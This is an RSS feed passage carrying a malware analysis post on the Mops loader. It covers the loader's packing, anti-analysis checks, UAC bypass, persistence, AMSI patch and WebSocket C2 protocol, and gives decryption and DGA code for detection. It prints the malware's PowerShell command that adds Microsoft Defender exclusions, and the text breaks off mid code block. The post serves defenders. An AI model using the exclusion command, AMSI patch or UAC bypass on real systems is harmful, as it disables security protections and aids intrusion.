<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>C2 · Krakz</title><link>https://blog.krakz.fr/tags/c2/</link><description>Malware analysis and reverse engineering notes: loaders, crypters, RATs, Windows internals and the tooling to take them apart.</description><generator>Hugo · ox-hugo</generator><language>en-us</language><managingEditor>Pierre Le Bourhis</managingEditor><lastBuildDate>Sat, 17 Oct 2026 00:00:00 +0200</lastBuildDate><atom:link href="https://blog.krakz.fr/tags/c2/index.xml" rel="self" type="application/rss+xml"/><item><title>Mops: a WebSocket loader and its stealer module 🐶</title><link>https://blog.krakz.fr/articles/mops/</link><pubDate>Sat, 17 Oct 2026 00:00:00 +0200</pubDate><guid>https://blog.krakz.fr/articles/mops/</guid><category>loader</category><category>stealer</category><category>C2</category><description>Mops is a modular x64 loader delivered by MixLoader and packed with the Golang packer Dormouse. It talks
to its operator over a hand-rolled WebSocket channel, keeps a 64-domain DGA as fallback, and receives all of
its capabilities as DLL modules mapped into a suspended cmd.exe. This post details the loader, its C2
protocol, and the two modules recovered from the live infrastructure: the Mops stealer (also seen branded
Redhive) and an update/download-and-execute module.</description><content:encoded><![CDATA[<figure><img src="/ox-hugo/mops_header.jpg" alt="" width="1800" height="595" loading="lazy" decoding="async" data-zoom>
</figure>

<p>This analysis is based on a single sample of the Mops Loader (<code>265994409a3d…</code>, campaign <code>6925266445</code>).
Two other builds were only run through the configuration extractor, to compare their settings (see
<a href="#builds-and-campaigns">Builds and campaigns</a>); their code was not reversed. The analysed sample is available on
<a href="https://bazaar.abuse.ch/sample/265994409a3dbd511ff5bd6a6d24dea5b089d41f1dea8dcaeaabccd530ea09dd/" rel="noopener" class="ext">MalwareBazaar</a>, and my IDA database of it is in the <a href="#tooling">Tooling</a> section.</p>
<p>Keep this in mind before reusing the values given here. Anything that is a build parameter rather than a
design choice is likely to change in the next versions: the hardcoded C2, the ports (406, 408 and 1488),
the campaign ID, the install path, the mutex and registry names, the string-encryption constants, and even
the fixed WebSocket key or the <code>jhkaloip</code> answer used to fingerprint the servers. Some of them have already
changed between the builds known so far: the C2 is an IP address in some and a domain in others, and the string-encryption constants differ from one build to another. The behaviour (the WebSocket protocol, the
module-based tasking and the stealer&rsquo;s collection logic) is a sturdier basis for detection than any
single value.</p>
<h2 id="tl-dr-mops">TL;DR Mops<a class="heading-anchor" href="#tl-dr-mops" aria-label="Link to this section">#</a></h2>
<ul>
<li><strong>Delivery chain</strong>: MixLoader → Dormouse (Go packer) → <strong>Mops Loader</strong> → modules fetched on demand.</li>
<li><strong>A real modular loader</strong>: no shell, no file manager, no stealer code, and no hardcoded list of modules.
It resolves a C2, waits for <code>createtask</code> orders naming <em>any</em> module, and runs the requested DLL inside a
suspended, windowless <code>cmd.exe</code>.</li>
<li><strong>C2</strong>: WebSocket over a raw socket on a non-standard port, with the RFC 6455 <em>sample</em> key hardcoded,
plain-text <code>;</code>-separated messages, and a fallback chain <strong>hardcoded IP → registry cache → DGA</strong>
(64 <code>duckdns.org</code> names, no date seed).</li>
<li><strong>Next stage</strong>: the first, automatic task of every new bot is the platform&rsquo;s own stealer module, which
calls itself <strong>Mops Stealer V3</strong> (an older build was branded <strong>Redhive Stealer</strong>). It runs 49 collection
tasks in parallel (browsers, Chrome App-Bound Encryption bypass, crypto wallets, 2FA extensions, Telegram,
Discord, gaming launchers, VPN, and even AI coding assistants credentials), zips everything in memory and
ships it over a raw TCP socket.</li>
<li><strong>Beyond the stealer</strong>: a second module can replace the loader with a new build or download and run any
executable. The stealer is the only module my fake bots were ever tasked with, but follow-on payloads are
typically pushed only to bots whose stolen data looks valuable.</li>
<li><strong>Infrastructure</strong>: three loader builds (two campaigns use the C2 domain <code>mops.to</code>), four C2 servers, and a
<code>checkserver</code> answer that never changes and makes the servers easy to fingerprint.</li>
<li>A config extractor and the full DGA list are provided at the end of this post.</li>
</ul>
<h2 id="delivery-chain-and-naming">Delivery chain and naming<a class="heading-anchor" href="#delivery-chain-and-naming" aria-label="Link to this section">#</a></h2>
<p>The sample analysed here is the resident stage of a multi-layer chain. An initial access component
tracked as <strong>MixLoader</strong> drops a payload packed with <strong>Dormouse</strong>, a packer written in Go.</p>
<p><label for="sn-1" class="sidenote-ref" aria-label="Show side note"></label><input type="checkbox" id="sn-1" class="sidenote-toggle"><span class="sidenote" role="note">Dormouse embeds an encrypted and compressed PE, attempts a UAC elevation, weakens Microsoft Defender, then drops and runs its payload.</span></p>
<p>Once unpacked, the payload is a native x86-64 implant which I call the <strong>Mops Loader</strong>: its only first-party
purpose is to settle on the host and pull additional modules from its operator.</p>
<p>The roles are cleanly separated:</p>
<table>
<thead>
<tr>
<th>Component</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>MixLoader</td>
<td>initial access, delivers the packed payload</td>
</tr>
<tr>
<td>Dormouse</td>
<td>Go packer / dropper</td>
</tr>
<tr>
<td>Mops Loader</td>
<td>persistent C2 client and module runner</td>
</tr>
<tr>
<td>Mops modules</td>
<td>post-exploitation capabilities, delivered as DLL modules</td>
</tr>
</tbody>
</table>
<figure><img src="/ox-hugo/mops_infection_chain.svg" alt="Mops infection chain, from delivery to exfiltration" loading="lazy" decoding="async" data-zoom>
  <figcaption><span class="figure-number">Figure 1: </span>Mops infection chain, from delivery to exfiltration</figcaption>
</figure>

<p>Two modules were recovered from the live infrastructure: a stealer (the <code>Stealer</code> module type, which calls
itself <em>Mops Stealer V3</em> in its latest build and <em>Redhive Stealer</em> in an older one) and a small update and download-and-execute module. Both are described in the
<a href="#next-stage-the-modules">Next stage</a> section.</p>
<h2 id="the-mops-loader">The Mops Loader<a class="heading-anchor" href="#the-mops-loader" aria-label="Link to this section">#</a></h2>
<h3 id="obfuscation-and-string-encryption">Obfuscation and string encryption<a class="heading-anchor" href="#obfuscation-and-string-encryption" aria-label="Link to this section">#</a></h3>
<p>The loader is a 64-bit PE (10 sections, around 600 KB) protected with an LLVM-style obfuscator: opaque
predicates, mixed boolean-arithmetic (MBA) expressions, direct calls replaced by lookups in call tables,
and <code>lea/mov/jmp reg</code> trampolines that defeat a naive linear disassembly. None of this adds runtime
capability, it only slows down static analysis.</p>
<p>Every meaningful string is encrypted, so a plain <code>strings</code> gives nothing useful. Most strings live in
<code>.rdata</code> and are decrypted on demand by small per-length wrappers that call a one-byte primitive:</p>
<div class="codeblock" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">python</span>
    <span class="codeblock__lines">7 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">def</span> <span class="nf">ror8</span><span class="p">(</span><span class="n">value</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">count</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">return</span> <span class="p">((</span><span class="n">value</span> <span class="o">&gt;&gt;</span> <span class="n">count</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">value</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">-</span> <span class="n">count</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">blob</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="s2">&#34;&#34;&#34;Mops .rdata string decryption (wide strings use the low byte of each WCHAR).&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">ror8</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">7</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="mi">13</span> <span class="o">*</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">105</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">blob</span><span class="p">))</span></span></span></code></pre></div>
</div>
<p>A second class of strings, used mostly by the tasking logic, is built on the stack and decrypted with an
AES-CTR routine keyed by an 8-byte seed stored in <code>.data</code>. These are easier to recover by emulating the
decryption routine (Unicorn does the job) than by reimplementing it. API resolution follows the same idea:
encrypted DLL and function names, resolved at runtime with <code>LoadLibraryA</code> / <code>GetProcAddress</code> and stored in
global slots.</p>
<p>The two constants of the primitive (<code>13</code> and <code>-105</code> above) are not fixed: other builds use other values
(<code>13</code> and <code>+141</code> for instance). They are easy to recover from the <code>imul</code> / <code>add</code> pair that follows the
<code>movzx eax, al</code> in the primitive, which is what the extractor provided at the end of this post does.</p>
<h3 id="builds-and-campaigns">Builds and campaigns<a class="heading-anchor" href="#builds-and-campaigns" aria-label="Link to this section">#</a></h3>
<p>Besides the analysed sample, two other loader builds were run through the configuration extractor. Their
configuration follows the same layout, but they use a domain instead of a hardcoded IP and suffix their artefacts with an <code>A</code>, probably so that two builds can live
side by side on the same host:</p>
<table>
<thead>
<tr>
<th>Build (SHA-256, short)</th>
<th>Campaign</th>
<th>Hardcoded C2</th>
<th>Install path / mutex</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>265994409a3d…</code></td>
<td><code>6925266445</code></td>
<td><code>45.91.202.]146</code></td>
<td><code>RuntimeBroker.exe</code> / <code>Global\RuntimeBrokerAds</code></td>
</tr>
<tr>
<td><code>77afc987c830…</code></td>
<td><code>5749377762</code></td>
<td><code>mops.]to</code></td>
<td><code>RuntimeBrokerA.exe</code> / <code>Global\RuntimeBrokerAdsA</code></td>
</tr>
<tr>
<td><code>4094bddf226f…</code></td>
<td><code>8934503551</code></td>
<td><code>mops.]to</code></td>
<td><code>RuntimeBrokerA.exe</code> / <code>Global\RuntimeBrokerAdsA</code></td>
</tr>
</tbody>
</table>
<p>All of them report version <code>1.0.0</code>, keep ports 406/408, the <code>WinRAR\Libs</code> module cache and the
<code>.duckdns.org</code> DGA suffix. The operators did not even bother to hide the family name: it is the C2 domain.</p>
<p>Another build, not analysed here, was described publicly by winslow (see <a href="#references">References</a>): it installs
itself as the same <code>RuntimeBroker.exe</code> with the same <code>Global\RuntimeBrokerAds</code> mutex and four scheduled tasks,
and talks to <code>145.63.134.]94</code> on ports 406, 408 and 1488, the server that also received the <code>1.0.2</code> stealer&rsquo;s
loot. It was delivered differently, through a fake GitHub repository and a PowerShell stager rather than
MixLoader.</p>
<h3 id="anti-analysis">Anti-analysis<a class="heading-anchor" href="#anti-analysis" aria-label="Link to this section">#</a></h3>
<p>Before doing anything else, the loader checks that it is not running in a VM, a sandbox or under a debugger,
and silently exits otherwise:</p>
<table>
<thead>
<tr>
<th>Check</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Display</td>
<td><code>EnumDisplaySettingsW</code>: exit if the refresh rate is below 50 Hz (headless or emulated display)</td>
</tr>
<tr>
<td>Guest drivers</td>
<td><code>GetModuleHandleA</code> on VirtualBox, VMware, QEMU, Parallels and Xen drivers (<code>VBoxGuest.sys</code>, <code>vmhgfs.sys</code>&hellip;)</td>
</tr>
<tr>
<td>Guest devices</td>
<td><code>CreateFileA</code> on <code>\\.\VBoxMiniRdrDN</code>, <code>\\.\HGFS</code>, <code>\\.\prl_usb_mouse</code></td>
</tr>
<tr>
<td>CPUID</td>
<td>hypervisor vendor leaf (<code>KVMKVMKVM</code>, <code>VMwareVMware</code>, <code>XenVMMXenVMM</code>, <code>VBoxVBoxVBox</code>&hellip;)</td>
</tr>
<tr>
<td>CPU brand</td>
<td>brand string containing <code>EPYC</code>, <code>Broadwell</code> or <code>G6900</code> (typical cloud sandboxes)</td>
</tr>
<tr>
<td>GPU name</td>
<td><code>Direct3DCreate9</code> adapter name: VMware SVGA, VirtualBox, QXL, Virtio, Hyper-V&hellip; and <code>anyrun GPU</code></td>
</tr>
<tr>
<td>Timing (thread)</td>
<td><code>QueryPerformanceCounter</code> drift around a <code>Sleep</code></td>
</tr>
<tr>
<td>Debugger (thread)</td>
<td><code>NtQueryInformationProcess(ProcessDebugObjectHandle)</code> in a loop</td>
</tr>
</tbody>
</table>
<p>The GPU check is worth noting: the list explicitly contains the adapter name of a public sandbox service.</p>
<h3 id="installation-privilege-escalation-and-persistence">Installation, privilege escalation and persistence<a class="heading-anchor" href="#installation-privilege-escalation-and-persistence" aria-label="Link to this section">#</a></h3>
<p>Once the environment looks genuine, the loader:</p>
<ol>
<li>
<p>creates a single-instance mutex (<code>Global\RuntimeBrokerAds</code>);</p>
</li>
<li>
<p>patches AMSI in its own process (see below);</p>
</li>
<li>
<p>copies itself to <code>C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe</code>, sets the file <em>hidden</em> and <em>system</em>,
starts this copy and exits, so the long-running instance always lives under the disguised path;</p>
</li>
<li>
<p>if the process is not a member of the local Administrators group, it elevates with the well-known
<strong>CMSTPLUA</strong> COM UAC bypass.</p>
<p><label for="sn-3" class="sidenote-ref" aria-label="Show side note"></label><input type="checkbox" id="sn-3" class="sidenote-toggle"><span class="sidenote" role="note"><code>Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}</code> then <code>ICMLuaUtil::ShellExec</code>.</span></p>
<p>Before the elevation it rewrites its own PEB (image path and command line) so that it looks like
<code>explorer.exe</code>, a precondition for the elevation to be granted silently;</p>
</li>
<li>
<p>enables <code>SeDebugPrivilege</code>, <code>SeAssignPrimaryTokenPrivilege</code> and <code>SeIncreaseQuotaPrivilege</code>;</p>
</li>
<li>
<p>registers four scheduled tasks through the Task Scheduler COM API (<code>ITaskService</code>), so no <code>schtasks.exe</code>
command line is ever visible.</p>
</li>
</ol>
<table>
<thead>
<tr>
<th>Task</th>
<th>Trigger</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins</code></td>
<td>boot</td>
</tr>
<tr>
<td><code>\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate</code></td>
<td>boot + 5 s</td>
</tr>
<tr>
<td><code>\Microsoft\Windows\EDP\ScheduledDef</code></td>
<td>boot + 15 s</td>
</tr>
<tr>
<td><code>\Microsoft\Location\MicrosoftUpdaterMachineCore</code></td>
<td>every 30 minutes</td>
</tr>
</tbody>
</table>
<p>The task descriptions are copied from genuine Microsoft ones (&ldquo;Updates compatibility database&rdquo;,
&ldquo;Handles restoring settings from the cloud&rdquo;) and run with the highest privileges when the implant is
elevated. The binary also contains a critical-process routine (<code>RtlSetProcessIsCritical</code>, with a hidden
window that clears the flag on <code>WM_QUERYENDSESSION</code> so the machine can still shut down), but it is not
reachable from the main flow in this build.</p>
<h3 id="defense-evasion">Defense evasion<a class="heading-anchor" href="#defense-evasion" aria-label="Link to this section">#</a></h3>
<ul>
<li><strong>AMSI</strong>: the loader resolves <code>AmsiOpenSession</code>, makes it writable and overwrites the first bytes with
<code>48 31 C0</code> (<code>xor rax, rax</code>). The original <code>test rdx, rdx</code> disappears, the following <code>jz</code> is always taken and
every scan request fails with <code>E_INVALIDARG</code>.</li>
<li><strong>Microsoft Defender</strong>: a dedicated thread starts a hidden <code>cmd.exe</code> that excludes both working
directories and refreshes the policy:</li>
</ul>
<!--listend-->
<div class="codeblock" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">powershell</span>
    <span class="codeblock__lines">1 line</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">powershell</span> <span class="n">-Command</span> <span class="s2">&#34;Add-MpPreference -ExclusionPath &#39;C:\ProgramData\Windows\Microsoft&#39;,&#39;C:\ProgramData\Microsoft\Windows&#39;&#34;</span> <span class="p">&amp;&amp;</span> <span class="n">gpupdate</span> <span class="p">/</span><span class="n">force</span></span></span></code></pre></div>
</div>
<h2 id="command-and-control">Command and control<a class="heading-anchor" href="#command-and-control" aria-label="Link to this section">#</a></h2>
<h3 id="finding-a-live-server">Finding a live server<a class="heading-anchor" href="#finding-a-live-server" aria-label="Link to this section">#</a></h3>
<p>The C2 resolution follows a fixed order:</p>
<ol>
<li>a TCP probe of the <strong>hardcoded C2</strong> on port 406 (an IP address in the first build, <code>mops.to</code> in the later ones);</li>
<li>a host <strong>cached in the registry</strong> by a previous session (<code>HKCU\Software\Microsoft\EventSystem</code>, value <code>System</code>);</li>
<li>the <strong>DGA</strong>: if both fail, two background threads keep re-probing (1) and (2) every 60 seconds while the
main thread walks through the generated domains.</li>
</ol>
<p>The DGA has no date component: it is every ordered combination of six tokens taken from <code>{lav, ini}</code>,
suffixed with <code>.duckdns.org</code>. The whole space is only 2^6 = 64 domains, which can be enumerated and blocked
in advance:</p>
<div class="codeblock" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">python</span>
    <span class="codeblock__lines">6 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">import</span> <span class="nn">itertools</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">def</span> <span class="nf">mops_dga</span><span class="p">(</span><span class="n">suffix</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&#34;duckdns.org&#34;</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">list</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;.&#34;</span> <span class="o">+</span> <span class="n">suffix</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">product</span><span class="p">((</span><span class="s2">&#34;lav&#34;</span><span class="p">,</span> <span class="s2">&#34;ini&#34;</span><span class="p">),</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">6</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="c1"># lavlavlavlavlavlav.duckdns.org ... iniiniiniiniiniini.duckdns.org</span></span></span></code></pre></div>
</div>
<p>Every candidate is validated before being used: the loader opens a WebSocket and sends
<code>checkserver;&lt;bot_id&gt;;&lt;16 random alphanumeric chars&gt;</code>. The server is accepted if, and only if, its answer is
exactly 8 bytes long. Failed names go into an in-memory blacklist; the first server that answers correctly
wins and is written back to the registry, so the next run reconnects immediately.</p>
<figure><img src="/ox-hugo/c2_checkserver.png" alt="`c2_checkserver`: the probe sent to every candidate C2; only the length of the answer is checked" width="815" height="403" loading="lazy" decoding="async" data-zoom>
  <figcaption><span class="figure-number">Figure 2: </span><code>c2_checkserver</code>: the probe sent to every candidate C2; only the length of the answer is checked</figcaption>
</figure>

<h3 id="a-hand-rolled-websocket">A hand-rolled WebSocket<a class="heading-anchor" href="#a-hand-rolled-websocket" aria-label="Link to this section">#</a></h3>
<p>The transport is a WebSocket client written on top of raw Winsock (no WinHTTP), on TCP/406. The upgrade
request always carries the same key:</p>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">6 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">GET / HTTP/1.1
</span></span><span class="line"><span class="cl">Host: &lt;c2&gt;
</span></span><span class="line"><span class="cl">Upgrade: websocket
</span></span><span class="line"><span class="cl">Connection: Upgrade
</span></span><span class="line"><span class="cl">Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
</span></span><span class="line"><span class="cl">Sec-WebSocket-Version: 13</span></span></code></pre></div>
</div>
<p><code>dGhlIHNhbXBsZSBub25jZQ==</code> is &ldquo;the sample nonce&rdquo;, the example value of RFC 6455.</p>
<p><label for="sn-5" class="sidenote-ref" aria-label="Show side note"></label><input type="checkbox" id="sn-5" class="sidenote-toggle"><span class="sidenote" role="note">RFC 6455, section 1.3: <a href="https://www.rfc-editor.org/rfc/rfc6455#section-1.3" rel="noopener" class="ext">Opening Handshake</a>. A legitimate client must send a random nonce for every connection.</span></p>
<p>A real browser never sends it, which makes it an excellent network signature. The expected answer is
equally static:</p>
<div class="codeblock" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">python</span>
    <span class="codeblock__lines">6 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s2">&#34;dGhlIHNhbXBsZSBub25jZQ==&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">magic</span> <span class="o">=</span> <span class="s2">&#34;258EAFA5-E914-47DA-95CA-C5AB0DC85B11&#34;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">hashlib</span><span class="o">.</span><span class="n">sha1</span><span class="p">((</span><span class="n">key</span> <span class="o">+</span> <span class="n">magic</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">digest</span><span class="p">())</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="c1"># s3pPLMBiTxaQ9kYGzzhZRbK+xOo=</span></span></span></code></pre></div>
</div>
<p>Client frames are binary (<code>0x82</code>) and always masked (mask = <code>GetTickCount() ^ buffer pointer</code>); the 64-bit
length encoding is buggy, so the client never sends large frames. The application payload is plain ASCII,
<code>;</code>-separated, with no additional encryption.</p>
<figure><img src="/ox-hugo/ws_send_frame.png" alt="`ws_send_frame`: binary frame, predictable masking key and broken 64-bit length" width="726" height="794" loading="lazy" decoding="async" data-zoom>
  <figcaption><span class="figure-number">Figure 3: </span><code>ws_send_frame</code>: binary frame, predictable masking key and broken 64-bit length</figcaption>
</figure>

<h3 id="session-protocol">Session protocol<a class="heading-anchor" href="#session-protocol" aria-label="Link to this section">#</a></h3>
<p>The bot identifier is the serial number of the <code>C:\</code> volume, rendered as 8 lowercase hexadecimal characters:
stable across reboots, unique enough per machine.</p>
<table>
<thead>
<tr>
<th>Direction</th>
<th>Message</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>bot → C2</td>
<td><code>ready;&lt;bot_id&gt;;version;1.0.0</code></td>
<td>first frame, announces the build</td>
</tr>
<tr>
<td>C2 → bot</td>
<td><code>getinfo</code></td>
<td>host profiling request</td>
</tr>
<tr>
<td>bot → C2</td>
<td><code>info;&lt;antivirus&gt;;&lt;OS&gt;;&lt;user&gt;;&lt;campaign_id&gt;</code></td>
<td>answer (WMI <code>SecurityCenter2</code>)</td>
</tr>
<tr>
<td>C2 → bot</td>
<td><code>ping</code></td>
<td>keepalive, answered by <code>pong</code></td>
</tr>
<tr>
<td>C2 → bot</td>
<td><code>task;createtask;&lt;type&gt;;task_id;&lt;id&gt;;version;&lt;ver&gt;</code></td>
<td>run a module</td>
</tr>
<tr>
<td>C2 → bot</td>
<td><code>task;closetask;...</code></td>
<td>kill a running module</td>
</tr>
<tr>
<td>bot → C2</td>
<td><code>task_done;&lt;task_id&gt;</code></td>
<td>module launched</td>
</tr>
</tbody>
</table>
<p>The version is sent in the first frame and the campaign identifier in the <code>info</code> answer, which lets the
operator split infections per build and per campaign.</p>
<h3 id="tasking-how-a-module-is-run">Tasking: how a module is run<a class="heading-anchor" href="#tasking-how-a-module-is-run" aria-label="Link to this section">#</a></h3>
<p>A <code>createtask</code> order names a module <em>type</em> and <em>version</em>. The loader then:</p>
<ol>
<li>looks for the module in a <strong>registry cache</strong> under a key borrowed from an unrelated application,
<code>HKCU\Software\WinRAR\Libs</code>, stored as <code>REG_BINARY</code> chunks named <code>&lt;type&gt;_&lt;ver&gt;_chunk_&lt;n&gt;</code> (200 KB each,
3 MB max). Cached versions of the same type that do not match are deleted;</li>
<li>if it is not cached, <strong>downloads</strong> it over plain HTTP from the hardcoded IP on <strong>port 408</strong>, with the bot
identifier as User-Agent, checks that the answer is a DLL (<code>IMAGE_FILE_DLL</code>) and stores it
(first as <code>_tempchunk_</code> values, then renamed);</li>
<li>starts <code>C:\Windows\System32\cmd.exe</code> with <code>CREATE_SUSPENDED | CREATE_NO_WINDOW</code> and <strong>manually maps</strong> the
DLL into it (<code>NtAllocateVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, a small loader stub, a 56-byte context
holding the task parameter, <code>NtCreateThreadEx</code>);</li>
<li>records the host PID against the task identifier, so that a later <code>closetask</code> can terminate it.</li>
</ol>
<!--listend-->
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">4 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
